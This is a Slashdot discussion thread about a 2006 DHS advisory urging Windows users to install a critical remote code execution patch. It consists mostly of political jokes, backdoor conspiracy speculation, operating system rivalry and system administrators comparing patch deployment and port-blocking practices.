Re:Then What?

[Midnight Thunder]

"If you don't patch Windows, the terrorists win!"

Go straight to Guantanamo Bay. Your rights mean nothing to us.

Re:then what?

[Ash-Fox]

Liberation!

so....

[Anonymous Coward]

this means the gov't mandated backdoor has been placed in the update queue?

Re:so....

[milamber3]

Seriously, people are laughing at the parent post but they would have laughed at a sacastic post about the NSA getting warrentless taps to listen to our phone calls in the recent past as well.

Re:so....

[advocate_one]

probably to replace the one that was blown not so long ago... remember the .wmf exploit?

Re:so....

[ackthpt]

Seriously, people are laughing at the parent post but they would have laughed at a sacastic post about the NSA getting warrentless taps to listen to our phone calls in the recent past as well.

Hmm. Seems to me this is nothing at all like it. You've equated hysteria over Windows vulnerabilities with the government spying. I'm afraid I'll have to recommend elevating panic level to Pearls with Plaid

Re:so....

[PinkyDead]

If this is the case then installing these patches in Europe (and other places) would be illegal - or at least would have to be restricted.

Anyone storing data here would have to comply with the Data Protection Acts. If installing these patches opened a back door to US government, then it would be impossible to comply with data protection.

Dammit - talking to all you damned Americans has made me paranoid.... or am I?

Re:so....

[Anonymous Coward]

Who told you to say this ?!?

Re:so....

[Gulthek]

They laughed at Columbus, they laughed at Fulton, they laughed at the Wright brothers. But they also laughed at Bozo the Clown. - Carl Sagan

Re:so....

[milamber3]

What I was pointing out was that while some people might see the parent thread as a joke it is all too likely in this day and age that the president would use his "powers" to force MS to incorporate a secret backdoor for the NSA (or whoever) into Windows. We would find out about it in a while but then he would affirm his right to spy on the "terrorists" that are using Windows just as he spies on the "terroists" using our domesting phone lines. All requests for information and lawsuits would be denied for national security concerns and I would certainly fear for the individual who released a patch for that particular hole. I can see them being charged for any number of crimes the current regime could come up with. So while you would like to make my point seem unreleated and crack some lame joke about terror level colors I think you are not looking around at what is happening lately.

Re:so....

[Anonymous Coward]

Not quite yet -- history shows that the expansion of political power is best achieved through continuous, calculated bite-sized steps. This is how the US government achieved the most powerful empire in the history of organized coercion: by continuously chipping away at our god-given right to freedom, not by attacking it full and outright.

1. Show interest
2. Seize power
3. Profit

What you are looking at is simply a priming for what's to come (step 1).

Re:so....

[Anonymous Coward]

Well, no, but aren't you glad that Microsoft turned "Windows Genuine Advantage", their anti-piracy nag system, into a "recommended security update"? Now that there is an actual, serious threat to all internet users because millions of Windows PCs are vulnerable, people shy away from Windows Update because they don't want the naughty pirate nag...

Duh.

[do wop]

Unplug the machine...

Re:Duh.

[gillimot]

I found a very effective patch and haven't had to re-patch yet... it was called "Linux" :)

Re:Duh.

[Anonymous Coward]

So you haven't patched your linux box since you installed the OS? Are you a moron in real life too or do you just play one on the internet?

OMG

[broussem]

Then your computer will blow up and we'll all die

Re:OMG

[supremebob]

Oh, you must own a Dell laptop then :)

Re:OMG

[MSFanBoi2]

Or an Apple laptop:

http://www.synthtopia.com/news/06_06/Mac_Laptop_Ex plodes_Flame.html

What then?

[aztecmonkey]

Then the terrorists win.

Re:What then?

[ZeroExistenZ]

They did already!

I haven't remembered the USA getting Bin Laden out of Iraq, Saddam isn't a terrorist! ha!
(The US is breeding terrorists of the future in Iraq right this instant though)

Re:What then?

[dthree]

If you don't apply the patch, then you hate America.

A plot?

[Billosaur]

In a somewhat unusual move, the DHS warned that the patches cover a remote code execution vulnerability that could be used in a network worm attack similar to Blaster, Slammer of Sasser.

"Windows users are encouraged to avoid delay in applying this security patch. Attempts to exploit vulnerabilities in operating systems routinely occur within 24 hours of the release of a security patch," the agency said in an public advisory.

Do they know something we don't know? Coming on the heels of this news about the thwarted atacks on trans-Atlantic flights, it makes you wonder if there's something even bigger that DHS knows about. Or it could be their innate paranoia -- hard to tell without any more info from them.

Re:A plot?

[bano]

Or you could be looking into it and DHS is just saying hey, unless you want your winders turned into a mega botnet, patch your machines like your suppose to.

Re:A plot?

[Red Flayer]

Or it could be DHS making a publicity move. They've got to justify their budget to the public somehow, and a lot of what they do is behind-the-scenes stuff.

Also, to be cynical as ever, we DO have elections coming up in a few months.

As far as I'm concerned, the boy has cried wolf far too many times for me to react to any warning DHS or any other governmment agency says about threats.

Re:A plot?

[Darth_Burrito]

I'm a system administrator at a large university. Apparently Microsoft actually contacted a few people around the university urging them to patch up. This shocked a few people because apparently we don't normally get that kind of communication from them here. It went around our listserv yesterday. So anyways, it seems like Microsoft might think it's an unusually big deal too.

Re:A plot?

[Anonymous Coward]

Personally I say no-thanks.

I have a protected network where all worms on the net CANT get in so an unpatched pres SP1 XP machine can go for decades without getting infected if the web browser does not invite one in or someone installs one.

It's called having a decent firewall... but even a $3.00 NAT router can give you this level of security.

Re:A plot?

[Anonymous Coward]

Or it could be DHS making a publicity move.

This is probably the symptom of the huge size of DHS and its inability to manage internal politics.

Look through their press release archive. Most of the material there is about top-level political figures and their speeches. If we ignore that stuff and look at what they recommend for citizens, they are all generic. And now, suddenly, we see something highly specific ("apply Microsoft security patch MS06-040") with a high amount of urgency ("as quickly as possible").

DHS has a unique PR problem: DHS is assumed to know a lot, and they rarely speak, so when something is announced with any specificity, the public reacts with PANIC. Think "duck tape" (Feb 10 2003 in that archive).

So, given the PR problem, why directly emphasize a specific action?

My opinion is that someone in DHS (involved with US-CERT) probably just noticed that DHS itself never made a "patch your computer" announcement. Bonus points earned for providing a solution to a current problem. This person may have been unaffected/unaware of the blacklash from "duck tape", but the "Office of the Press Secretary" should have known better.
Also, the Press Secretary probably only knows this patch to be something uniquely important while anyone at US-CERT would see it as Yet-Another-Critical-Windows-Patch. Essentially, DHS is so big that its Press Office isn't familiar with the organization.

homeland?

[Anonymous Coward]

if you don't patch it, Osama will use your machine to download pron and distribute spam!

Typical over-reaction from the Slashdot staff

[Megaweapon]

It's just a recommendation, and they've been doing this for a while now. Perhaps this is to save a little face for the massive Rails exploit posted just a few stories below?

Re:Typical over-reaction from the Slashdot staff

[Anonymous Coward]

Huh? How is the government 'saving face'? Did they create rails, or are you just a fucking idiot?

Re:Typical over-reaction from the Slashdot staff

[DingerX]

Yeah, but it used to be CERT, not "CERT, a division of the DHS"

Re:Typical over-reaction from the Slashdot staff

[Megaweapon]

Huh? How is the government 'saving face'? Did they create rails, or are you just a fucking idiot?

SLASHDOT is/may be attempting to saving some "open source" face, you fucking moron.

Re:Typical over-reaction from the Slashdot staff

[Anonymous Coward]

Yeah, but it used to be CERT, not "CERT, a division of the DHS"

CERT joined the DHS shortly after the DHS was formed, and sent out an E-mail to everyone on the CERT list telling them so. This is not news.

Don't patch Windows, Install Linux over it.

[Anonymous Coward]

The peace of mind that the terrorists have a harder time of getting you will make you glad you did.:)

This is a conspiracy!

[Anonymous Coward]

Homeland security is trying to get people to install new backdoors and close the old ones that have been discovered by outsiders.

Hmm..

[TheOldSchooler]

"So, if you don't apply the patches, then what?"

They buy you a brand new Intel Mac! Courtesy of U.S. taxpayers.

Re:Hmm..

[MSFanBoi2]

Never mind the fact that just a few days ago a massive patch for security, including remote exploits was released by Apple...

Re:Hmm..

[DaveAtFraud]

No. They punish you by installing Microsoft Bob on your computer (think of it as a frontal lobotomy for your computer).

Cheers,
Dave

Otherwise the NSA won't be able to "help" you

[elrous0]

Not to break out the tinfoil hat here, but am I the only one who worries that one of these "patches" might one day (or already) include a nice little quite NSA backdoor? Or maybe the backdoor is already there and this "patch" is designed to keep it from being exploited/discovered.

Man, I really HOPE I'm just being paranoid today.

-Eric

Re:Otherwise the NSA won't be able to "help" you

[dekket]

They'd still need to get into your hardware/software firewall and yadda yadda yadda... I, for one, have one hardware firewall from d-link, and another firewall made of iptables in linux - it won't let anything into my network. Soooo... a backdoor named NSA wouldn't do much for about 99% of the population, who gets atleast 1 firewall from their ISP etc. Besides, if the NSA wanted your information, they'd be at your door already.

Re:Otherwise the NSA won't be able to "help" you

[LurkerXXX]

Right. And of course you sniff all the packets that your machine sends out from your windows machine every time it gets a patch from microsoft, etc, etc, to make sure it's not 'reporting back' on your activities since you last connected to Microsoft, etc, etc?

The opensource firewall only protects you from them initiating contact to your machine from outside. It doesn't prevent hidden reports being sent out. That takes a lot of human monitoring, and some packets, you just don't know the real content/context of (reports to MS etc).

Re:Otherwise the NSA won't be able to "help" you

[joshier]

Better off with Linux, it's the computer OS equivalent of an immature little girl.

Re:Otherwise the NSA won't be able to "help" you

[dekket]

Actually, my windows machine isn't allowed to contact the outside. The only thing I use it for, are apps that doesn't work on my Mac - and those are rare... so I guess this thread isn't for me. But back in the day when I did use windows, I actually did monitor the windows update function quite closely, and I never found it to send anything it didn't need to. Besides, with the amount of heat that MS would get if someone did in fact scan the transfers and found something suspicious, I think they are careful. Atleast nowadays when they have some serious competition. However, I'm paranoid enough to never underestimate the power of a huge company such as Microsoft. One has to make a deal with the devil in order to become that big, right? =)

Re:Otherwise the NSA won't be able to "help" you

[dekket]

I used to run gnu/linux on my workstation, but I switched to Mac about a year ago, and I'm very happy I did.

However, my debian server has been the most trustworthy of all my servers, running 6 years now only rebooting for kernel upgrades.

Re:Otherwise the NSA won't be able to "help" you

[LurkerXXX]

There was just a story here the other day about a theoretical/lab exploit using a keyboard that hid a message in frequency of typing into remote machines. It would be easy for MS to build something similarly hidden into their messaging system that you wouldn't find easily at all by gleaming what little bits you can from the packets they send home. When you don't know exactly what 'should' be in the packets, it's hard to figure out what really is suspicous.

Re:Otherwise the NSA won't be able to "help" you

[dekket]

Some things are quite obvious... Then again, if you (or anyone else for that matter,) distrusts MS that much, just stop using their OS, or deny Windows access to the internet alltogether?

Extreme TinFoil Hat XP 2.0 beta put on now...

[Anonymous Coward]

What if it has nothing to do with actual security updates, but is a way for the DHS to spy on computers? It is, after all, unusual to come out and say this...

What then?

[tygerstripes]

Then the nawty trojan horsies sneak down your Internet tubes and steal your bank.

do your part and call MS out

[distantbody]

Hey, I found a fairly slick blog claiming to be completely independantly produced by an 18yr old university student. However, it's clearly a Microsoft site complete with Apple-bashing, a NineMSN commercial, a video titled "Vista speech recognition screencast: It works!", a story titled "MSNBC deceived the public: Vista's speech recognition demo" and MS-critic bashing, with a few lame attempts to throw people of their fairly rank scent.

Microsofts Faux Blog

I thought you could do your part and call MS out on this one by leaving a comment to the effect of "We know this is a Microsoft astroturf advertisment that intentionally aims to mislead readers to beleive messages that benefit the corporation." ...Or you could just flame be and tell me how redundant this is.

In Soviet Russia ...

[lixee]

In Soviet Russia, the machine patches YOU!

Meh

[TheSpoom]

So great, DHS is recommending that people keep their machine patched. Anyone who says this is a bad thing has their tinfoil hat on a little too tightly. The only thing that concerns me is that DHS's responsibility in the US government seems to get more and more broad; anything that can be deemed in the protection of "Homeland Security" they can control, from intelligence to customs and border patrol to cyber security.

Anyway, this isn't that big a deal.

Re:Meh

[jimktrains]

When I first heard their name the night they were announced in the pres's speach, I immedialty thought, "Damn, isn't that how the Nazi's took so much power over the MotherLand when they came to power?" It was the motherland/homeland similarity that brought it on, but it seems to not be too far from the mark.

Re:Meh

[Dionysos Taltos]

The only thing that concerns me is that DHS's responsibility in the US government seems to get more and more broad; anything that can be deemed in the protection of "Homeland Security" they can control, from intelligence to customs and border patrol to cyber security.

You know ... that's a pretty big concern. If that's truly the only thing that concerns you, you should still be scared stiff. We have a U.S. Department which is 100% staffed by the current administration, and it continues to broaden it's role. I would be extremely concerned about the end-game, and I believe there is an end-game in mind which doesn't involve Democracy.

Re:Meh

[TheSpoom]

Well, it would scare me more, if I lived in the United States. I'm a born Canadian citizen.

But I think even for those of us that do live there (and it's really not a bad country except for the government), people need to avoid being scared and start standing up for what they believe in. At the core, it's still a democracy; people need to take hold of that now and start initiating change. A good start would be heavily protesting the current electronic voting machines as they really do threaten democracy and accurate representation.

I'm actually thinking about moving to the US (as being with my girlfriend is more important that where I live). At least if things get really crazy, I'll still have my Canadian citizenship to rely on.

Re:Meh

[TheSpoom]

Normally this would invoke Godwin's Law, but I have been thinking that for a long time.

Re:Meh

[Dionysos Taltos]

You make a good point about fear versus action. I sometimes think a good dose of fear can cause action, but I suppose it cuts both ways. Thanks for the link, by the way. I had not seen that before.

Re:Meh

[Anonymous Coward]

Agreed.

It's basically human nature to take steps (often very small, incremental steps) to increase one's area of influence and control. Government is no different. This is why the size of government inexorably grows. No one should be surprised that some enterprising bureaucrat concluded that his/her agency could expand its influence (or at least its perceived influence) simply by issuing a press release regarding Windows patches.

What HS really means: Get UBUNTU Now ! ! !

[Anonymous Coward]

What HS really means: Get UBUNTU Now ! ! ! Do it now ! ! !

Ahh I can see it now...

[Nicaboker]

You wake to a pounding on your door. At your door are two men dressed in suits. you "Umm can I help you." Suits " You're under arrest." you "On what charge?" Suits "For not patching your windows computer." You "patch my what?? I use Linux!" Suits with a baffled look "Lin-what? Are you threatening us?" Suddenly more suits surround you and begin beating you while you hear "King Bill" laughing in the background.

Re:Ahh I can see it now...

[Anonymous Coward]

Actually the say, Mr. Andersen!!

Download link for patches

[DoofusOfDeath]

http://www.ubuntu.com/download :)

Re:Download link for patches

[Anonymous Coward]

Yeah, I tried that last week. The installer wouldn't work on my PC. As much as I hate windows, at least it works.

Re:Download link for patches

[Anonymous Coward]

Yeah, I tried that last week. The installer wouldn't work on my PC. As much as I hate windows, at least it works.

Bummer. For most people the Ubuntu installer works flawlessly, and they end up with a secure and functional computer. Sorry you're one of the unlucky ones. Maybe the next version to come out will work better on your computer.

Actually, now that I think of it, a point-release of Dapper (6.06.1) came out yesterday or today, and it had a lot of installer fixes. You might consider giving that a shot. The nice thing is that since the live CD and the installer are the same CD, you can get a pretty good idea about whether or not it will install just by running the live CD.

Re:Download link for patches

[Anonymous Coward]

If you have missed it, /. has posted another Patch for you. ;)

I now practice secure computer usage.

[krell]

Considering this morning's prohibitions on taking liquids onboard (after a terrorist plot was uncovered), I'm resisting temptation so far to place my bottle of 'Dew in my computer's cup holder.

Re:I now practice secure computer usage.

[Anonymous Coward]

i tried that too, but after the update my computer rebooted and retracted the cup holder, spilling my coffee all over the desk!

Hey!

[no-body]

I am trying, but it crashes!

then what?

[__aahlyu4518]

Then you will be considered a terrorist for endangering the American economy by having corporate networks comprimised.

And you know what happens to things that endanger de US economy... they will be eliminated.. ermmm... I mean.. democracy and freedom will be brought to them, or they will thought of as totally unimportant (environmental issues).

malware

[Blighten]

So, does this mean that the creators of malware/viruses/spyware are going to be classified as terrorists?

Re:malware

[hackstraw]

So, does this mean that the creators of malware/viruses/spyware are going to be classified as terrorists?

Why, yes! http://www.asiamedia.ucla.edu/article.asp?parentid =39237

Dig out the Duct Tape

[hanshotfirst]

They were confused. They don't really mean MICROSOFT Windows - this is the same old patch your HOUSE windows - cellophane and duct-tape. There's a red-level threat in the UK today, therefore nobody can carry-on water on airplanes in the US. Clearly water can kill you, so they are making sure none of that nasty humidity in the summer air can get into our homes. Thank goodness for the protective vigilance of our gubmint!

Re:Dig out the Duct Tape

[The_reformant]

Incidently the restrictions on hand luggage weren't made by your government but by airlines in response to recomendations from the UK police force, MI 5 and the home secretary. Having just broken up a plot early this morning to bring down multiple plains via liquid explosive agents I should hope that you see the rationale behind these measures.

So, if you don't apply the patches, then what?"

[Patrik_AKA_RedX]

Easy: the only website you get to access would be the one from guatanamo bay.

Too many alerts in one go

[caluml]

less than a day after the release of 23 patches from Redmond

Yeah, boy, did I get bored reading about them as they came out on the mailing list I'm on. Can't they just sum them all up?

Internet Explorer: Bad
Powerpoint: Bad, etc.

Updates and Patches

[anthonyclark]

Gawd, sometimes I loathe Microsoft in all its guises, and sometimes I fall into a Descent style animal fury at this annoyingly necessary evil.

With the latest "Critical, this affects everything" remote exploit patch, I had to run around patching our many computers in our medium sized academic department. We're supposed to have a software update service which pushes out the patches to critical issues such as this. Of course the SUS didn't update about 60% of the PCs, requiring me to manually run windows update on each one. each damned PC.

But wait, it gets worse.

About 80% of the unpatched PCs didn't have the latest Windows Genuine Advantage activex control installed. And for some reason, using windows update via "Run As..." no longer works. So I have to kick all my users off their PCs, log in via the local admin account, run windows update, manually install the new "improved" WGA tool, then finally click a bunch of times to get through to the final update screen. On about a quarter of the PCs, the Malicious Software tool or whatever it is called, requires a "click OK to install" about halfway through the patch process.

My Red Hat servers took a couple of clicks; go to redhat satellite server, select all out of date servers, click update, OK.

My lab of Macs took a little more work; open apple remote desktop, select all, run Unix command softwareupdate -l, download the pkgs manually, then apply those pkgs to all the out of date macs.

Both of those updates, the redhat and the macs, took less time than a single windows PC.

And all this during the busiest 2 weeks of the academic IT year, preparing for new visitors, classes and students...

Re:Updates and Patches

[MSFanBoi2]

Sorry you don't know how to properly admin your Windows servers.

I pushed out all the patches to all 10K+ workstations in two mouse clicks.

See, unlike yourself, we know how to utilize stuff such as Windows Update Services, and SMS to take care of patching our environment. And it works faster and better than RedHat's update or the Mac stuff, because we don't need to touch a PC, we do it all from the servers and it takes less than 10 minutes to download all the hot fixes just released, package them and schedule the task.

Its so easy to blame Microsoft for your ineptitude ain't it?

Re:Updates and Patches

[Henry V .009]

I'm a sys admin at a technical university, and when I started this job, I inherited a couple hundred Windows boxes that hadn't been patched for a year. The previous admin hadn't been able to get SP2 pushed out through WSUS. There turned out to be a couple issues that had to be fixed on each machine. I wound up doing this remotely using the psexec tool from sysinternals. (You can also enable remote desktop remotely through that.)

Right now I'm trying to get my boss interested enough in the features of Symantec Ghost, which we own, to start using this for maintaining all all our computers (instead of just using it as a glorified disk imager to push out templates each semester).

Re:Updates and Patches

[Anonymous Coward]

Hmmm, maybe it's time on learning how to setup SUS?

Re:Updates and Patches

[MSFanBoi2]

In a corporate environment, Ghost is horrible.

For imaging, look at Acronis, 10x faster than Ghost and a lot more options.

Or for a complete solution with imaging and patch management, you really cannot go wrong with Altiris and Deployment Server

Re:Updates and Patches

[Henry V .009]

Hey, I'm having enough trouble getting us to use what we already own. But my first question is: can Acronis install and uninstall software packages like Ghost Console? Also, does it support multicast?

Re:Updates and Patches

[anthonyclark]

Hmm. That would be a valid comment *if* I was the one responsible for SUS and SMS. I'm not. I manage a department, one among many, that uses a centrally administered windows domain. I don't run the SUS or SMS servers, and I don't configure them.

Were I in charge of such services, I would better understand them, and thus be able to use them correctly.

But, in response to your point about blaming MS, I think you're wrong. I've run an automated setup on 12 identical dell workstations using the same software and servers. Those PCs should all be identical. Except they're not; some have SMS on them, some don't. Others have it half installed. Each one had a different list of updates from windows update yesterday, despite windows being the same "age" on each one.

Please don't assume that all windows domains are created equal, or that everyone has your skill and care in using windows.

Re:Updates and Patches

[Anonymous Coward]

Would it not have been easier to just write a script to install the released patches as opposed to doing a manual install for each machine.

Re:Updates and Patches

[MSFanBoi2]

Yes to both questions.

Re:Updates and Patches

[MSFanBoi2]

My original comment still stands, don't blame Microsoft for administrative short comings.

We don't have issues with our Windows XP based laptops and desktops or Windows Server 2003 based servers. With over 10000 workstations and 750 servers, its no problem at all...

Cert

[kevin_conaway]

Doesn't the United States CERT fall under DHS?

It makes sense that they would issue an advisory to tell people to protect their machines. While the R in CERT traditionally stood for Response (it is not Readiness), I still don't think its a huge deal for them to be proactive in telling people to get their act together

Re:Cert

[kevin_conaway]

While the R in CERT traditionally stood for Response (it is not Readiness)

Rather, that should be, it is now Readiness

Re:Cert

[ArtStone]

Yes - CERT is part of DHS. In fact the press release specifically makes the point that US-CERT is one of the DHS departments.

If you don't think CERT belongs in DHS, just think back to the chaos created by the Blaster worm. A day or two later, the entire Northeast US goes black for days due to a cascading power outage. Coincidence?
http://www.verisign.com/security-intelligence-serv ice/current-intelligence/global-cyber-threats/2003 /66.html

The only surprise here is that the general alert level wasn't already raised - given the events in the Middle East and the threats going back and forth.

Then again, on 9/11, the Emergency Broadcast System (now called EAS) - which has been tested regularly as long as I've been alive - was not used in New York to tell people what to do. In retrospect, it looks like the main purpose of EBS/EAS was to give the FCC a revenue stream to fine stations not keeping their equipment functioning or keeping accurate logs of the tests.

If you rely on government to protect you in the event of an emergency, you will likely be disappointed.

Nothing to see here other than the tin-foil hat convention of those who stopped taking their meds.

solution

[larryau]

Use linux.

Re:solution

[rarwes]

Nope. I still get security patches.

Re:solution

[dimer0]

Use MacOS X.

Re:solution

[Anonymous Coward]

Use a spectrum.

Jeez, how can the repeated (prepared) statement "use linux" be modded insightful! what about the corps and smb's that already have the MS infrastructure, the shareholders and the CEOs. Tell them exactly how to migrate and I might consider modding you insightful.

Re:solution

[Anonymous Coward]

Linux source code is open for all to see. With literally thousands of developers and just plain geeks it would be very difficult to hide a back door in linux.

As far as the MacOS. Mac is good, but a couple issues. The flack over them using Intel. Wich brings up something that was in news awhile ago about Intel. Did'nt they catch alot of heat over them going to hardwire a back door into the cpu?

Re:solution

[Ash-Fox]

Use MacOS X.

I'm not particulary interested in having a company that tries to delay security updates to the next OS release if they can.

I'd like to but WGA won't let me.

[gukin]

Microsoft denies patches to any system it deems "non-authentic". Now the US government is urging, strongly, everyone to patch their systems. This leaves your typical patriotic "pirate" US individual in a bit of a pickle. Skip the patch and "Let the terrorists win" or fess up, pay up and "Think of the children."

That said, it sounds like a new Microsoft slogan:

"Unpatched Windows systems are hurting the war on terror; buy your legitimate license today."

Then again there is always http://windizupdate.com/

Re:I'd like to but WGA won't let me.

[DarkDragonVKQ]

pfft, I would hope most pirates would realize the US' use of terrorism to gain power is a sham. Personally I'd update after a couple months of other people investigating what the patches do.

Patch the windows, get the WGA

[unity100]

Im being conspirative here, yes. But after all we have seen it is not too far fetched to believe that 'homeland security' got a sizeable donation from microsoft, riaa and the like.

In reality...

[Svartalf]

An unsealed bottle of water can be used as a transport for biological and chemical agents- and
with many of the agents, you'd never know it wasn't "just water" until it was too late.

To be sure, the "can't be bringing a bottle of water on board" is a bit overboard (But then, many
of the things they've instituted have been at least a little bit that way from the beginning...)

What about *nix?

[boyfaceddog]

Isn't DHS concerned about the threat against the install base of *nix OS boxes?

When they suggested immediate pathing of ALL boxes, I will take this serriously, otherwise . . .

It's a trick. Get an axe.

NSA patch

[Anonymous Coward]

So, if you don't apply the patches, then what?"

They won't be able to monitor you as well.

hmm, what's with the black helicoptor outside. Woah, look at the scope on that guys rif

Re:NSA patch

[troon]

hmm, what's with the black helicoptor outside. Woah, look at the scope on that guys rif

Another strike from the Grammar and Spelling Department (Apostrophe Patrol).

Re:NSA patch

[HugePedlar]

Not that I expect you to reply, being dead now and all, but don't you think it's remarkable that, even though you failed to finish your post, in your death throes you managed to hit the submit button?

Re:NSA patch

[Anonymous Coward]

Perhaps he/she had left the cursor over it while typing the message, and after passing through his/her gray matter, the bullet hit the mouse button.

On the other hand, maybe you just were born without a funnybone

Re:NSA patch

[OverflowingBitBucket]

hmm, what's with the black helicoptor outside. Woah, look at the scope on that guys rif

Another strike from the Grammar and Spelling Department (Apostrophe Patrol).

Hm... you did read his post right? I don't think he got a chance to proofread. ;)

then...

[r00t]

You're not with us. That means you're against us.

GET HIM!!!!!

If this were actually serious

[Simonetta]

If this were an actually serious situation, then the US government would physically take over Microsoft's Redmond 'campus' and force all activity on future commercial products to cease until this 'threat' is over. Then the source code would be released to the authorities and universities for review and study for future 'dangerous defects'.

    As to why this doesn't happen for Linux, well it's because the US government doesn't take Linux seriously. To them, it's a toy or at best, a minor application program that does...something. To the millions of employees of the US government, 'Microsoft' and 'computers' are identical terms. Most government workers, if asked, would probably tell you that Linux was a Microsoft project mandated to comply with some distant previous anti-trust ruling.

    In reality, this is just the US government (or rather, some very minor apparatchek) just talking out of his ass and hoping to get on the evening news.

Re:If this were actually serious

[pedalman]

As to why this doesn't happen for Linux, well it's because the US government doesn't take Linux seriously.

Uhh, could it also be due to the fact that the source code for the Linux kernel and apps is readily available without resorting to a court order or warrant to obtain it?

Re:If this were actually serious

[Anonymous Coward]

It could also be due to the fact that they are working with a version of Linux that they (the NSA) have worked to secure. The webpage says that this work isn't an attempt to correct any flaws with Linux, but I'm sure they've noticed a few bugs during the course of their work and have either fixed them or have reported them to the appropriate people to have them fixed.

Re:If this were actually serious

[Mister Whirly]

The US government really isn't in the business of "taking over" and actively running businesses. Legislation is supposed to control the way businesses are run, that's what the govenrment does - pass and enforce laws.

Re:If this were actually serious

[Anonymous Coward]

>The US government really isn't in the business of "taking over" and actively running businesses.

You're right, of course. It's the other way round.

What about the threat level?

[End Program]

I didn't see a Homeland terror level mentioned anywhere. The current terror level is BERT: Sessame Street Terror Level

Wait a tick. . .

[ducttapekz]

Do they mean install the same patches that made machines unusable a few months ago? http://news.zdnet.com/2100-1009_22-6062026.html I'll hold off for a month.

Creepy

[spykemail]

I have to admit this is a little bit creepy. Maybe we should wait for some Slashengineers to take a closer look at this patch. But honestly, government officials already have ability to spy on everything you do and frame you for anything so I'm not even sure a backdoor would accomplish - just makes things easier I suppose.

Patch available

[Evro]

Patch available here.

HTH

Re:Patch available

[MSFanBoi2]

When's the last time you could play WOW on Linux? Oh wait... you still can't.

Re:Patch available

[joshier]

God has spoken.

Re:Patch available

[Anonymous Coward]

Perhaps we should expand the old joke a bit.

Windows XP Home patches: http://www.ubuntu.com/
Windows XP Pro patches: http://www.gentoo.org/
Windows NT4 patches: http://www.debian.org/
Windows 3.1 patches: http://www.damnsmalllinux.org/

This way we can troll both sides of the fence.

Re:Patch available

[Ash-Fox]

When's the last time you could play WOW on Linux? Oh wait... you still can't.

Works fine here.

what happens if you don't?

[edxwelch]

Just out of curiousity, what happens if you don't?
For you average tech savy user, using Win2000, firefox, openoffice, zonealarm

Since you are a system administrator...

[pallmall1]

and would likely know, I was wondering about blocking TCP ports 139 and 445. Aren't they the ports used by Samba to connect Linux computers with Windows machines?

Re:Since you are a system administrator...

[Darth_Burrito]

These ports have to do with things like name resolution, network file sharing, remote execution, and stuff. I don't really know all the details. While linux can talk samba with windows, it is more a windows to windows kind of thing. Read this for some more info. What port 445 does

One should probably never have 139 and 445 exposed directly to the internet, one should probably only have them exposed beyond an individual workstation if that workstation is part of a realish network (eg, three pcs that never talk to each other plugged into the same linksys router wouldn't count). When in doubt, block it and see what happens.

Re:Since you are a system administrator...

[RpiMatty]

http://www.grc.com/port_445.htm
http://www.grc.com/port_137.htm
http://www.grc.com/su-bondage.htm
Describes ports 137-139 and 445.
Also has instructions on how to disable file and print sharing, or remove the bindings from tcp/ip so your file shares aren't going out on the internets.

Re:Since you are a system administrator...

[pallmall1]

Thanks to Darth_Burrito and RpiMatty for the info.

Paranoid poster doesn't search enough

[technoextreme]

And why isn't the government's warning message included with specific reasons and details of what the problems are and what the patch is going to do?

Actually, they did that. You just didn't bother looking. http://www.kb.cert.org/vuls/id/650769
http://www.us-cert.gov/cas/techalerts/TA06-220A.ht ml

Why now?

The cynical side of me also says that some department in the United States got hacked into. They do say that the exploits were being used but dont go futher.

Re:Paranoid poster doesn't search enough

[cmacb]

"The cynical side of me also says that some department in the United States got hacked into. They do say that the exploits were being used but dont go futher."

Bingo!

It was reported in the tech press about a month ago, and I'm surprised that the geeky Slashdot crowd is so ignorant. I haven't seen one post mentioning the incident and I'm not going to spoil the fun by giving any details. Slashdotters DO YOUR HOMEWORK! There is more to computing technology than your favorite video game of the month.

I'll add one other common approach I take whenever other people (especially large salivating groups of them) present their conspiracy theories and that is to look for a few simpler explanations first. One simple explanation in this case is that the person who used to write these official releases for DHS has retired, or moved on to other things and been replaced with someone that has a more "dramatic" style.

then what?

[ArmenTanzarian]

then the terrorists win...

Cracking down on piracy

[192939495969798999]

They probably just want you to install WGA, which is required for new Windows patches... they probably saw my new motivational poster.

Re:Cracking down on piracy

[LocoMan]

The patches seemed to download and install fine on my computer without the WGA installed. I use automatic updates, though, but set to just download them and then ask me to install them (so I can see what's being installed). I think you only need WGA (at least for the time being) to download them from windowsupdate.com

Re:Cracking down on piracy

[Anonymous Coward]

Just go to http://download.microsoft.com./ Select advanced search. Choose the Security & Updates category. Sort by release date. Voila. You can now manually download all the security patches as they are released without needing to use WGA or automatic updates.

Re:Cracking down on piracy

[Ash-Fox]

WGA is on 'automatic updates' too. Chances are, you've got it already installed.

Re:Cracking down on piracy

[LocoMan]

Actually, no, I don't have it installed (I checked, just in case)... that's why I have it set to download but not install updates automatically, so I can see what's being installed before doing it. It did try to install WGA a month ago or so, I just unchecked it and told it not to ask me about it again (let's see how long until it tries to install it again, though).. :)

Oh, I know, I know!!!

[JamesP]

1 - DHS orders Windows Update for everybody
2 - Windows update install patches and WGA
3 - Everybody thinks their "PCs are pirated on the internets"
4 - ???
5 - Profit!!

I would.....

[VeeCee]

but it appears my copy of Windows is not genuine.

no, that's reserved for democrats

[Anonymous Coward]

the announcement will be made November 1st.

you heard it here first.

NostrilDrippus sees all!

68%

[Gary W. Longsine]

I agree 67.314159% with everything the OP said!

Wow, no comments about OS X yet?

[5n3ak3rp1mp]

I hereby refrain from the apple fanboi knee-jerk "yeah but OS X..." remark. ;)

What the hell

[fullofangst]

"So, if you don't apply the patches, then what?"

You're an idiot, that's what.

Re:What the hell

[zerosix]

"So, if you don't apply the patches, then what?"

Actually, you'll be safe from the US government poking around in your machine...

US Threat Level

[NullProg]

The U.S. government raised the security alert on passenger planes to its highest level for the first time on Thursday after Britain said it had foiled a plot to blow up flights to the United States.

The government also raised the security alert level for Windows users from Purple to Pink after Microsoft announced it had foiled a plot to make Windows more secure.

This is good news.

[Farfnagel]

If the goobermint realizes the danger posed by millions of easily hacked toy computers, perhaps Microsoft will be declared a terrorist organization. A few dozen Tomahawks aimed at Redmond couldn't hurt.

Get the Subversive!

[Bob9113]

So, if you don't apply the patches, then what?

Well, I'm not sure what happens if you don't apply the patches, but we do have an idea of what happens if you ask questions like that on a blog.

(that's mostly a joke... at least for now)

But Can Microsoft Be Trusted?

[Prototerm]

After Microsoft stuck their WPA Notify spyware on my machine, claiming it was an important, possibly vital update, how am I expected to trust them?

* No * Thank * You *

